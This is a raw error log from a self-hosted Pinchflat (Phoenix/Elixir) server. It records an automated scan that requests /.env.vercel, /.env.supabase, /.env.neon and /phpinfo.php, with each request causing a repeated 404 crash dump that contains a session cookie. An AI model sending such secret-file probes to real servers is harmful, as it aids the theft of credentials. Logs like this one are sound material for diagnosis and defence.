"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 216, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.661 [info] GET /.env.vercel 02:10:23.662 [debug] QUERY OK source="settings" db=0.4ms idle=194.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.663 [debug] QUERY OK source="settings" db=0.2ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.663 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.663 [error] #PID<0.3521.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 217) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.vercel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vercel", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 217, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3521.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.vercel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7BJi4juYAWoAATYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vercel", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 217, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vercel", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 217, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.719 [info] GET /.env.supabase 02:10:23.720 [debug] QUERY OK source="settings" db=0.3ms idle=183.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.721 [debug] QUERY OK source="settings" db=0.3ms idle=120.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.721 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.721 [error] #PID<0.3522.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 218) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.supabase ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.supabase", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 218, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3522.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.supabase", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7BXdQRLrBXcAATZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.supabase", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 218, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.supabase", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 218, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: f (truncated) 02:10:23.780 [info] GET /.env.neon 02:10:23.782 [debug] QUERY OK source="settings" db=0.6ms idle=181.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.782 [debug] QUERY OK source="settings" db=0.5ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.783 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.783 [error] #PID<0.3523.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 219) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.neon ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.neon", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 219, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3523.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.neon", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Bl8YO0kGbcAATaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.neon", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 219, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.neon", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 219, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host (truncated) 02:10:23.847 [info] GET /phpinfo.php 02:10:23.848 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=184.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.848 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=127.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.849 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.849 [error] #PID<0.3524.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 220) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", 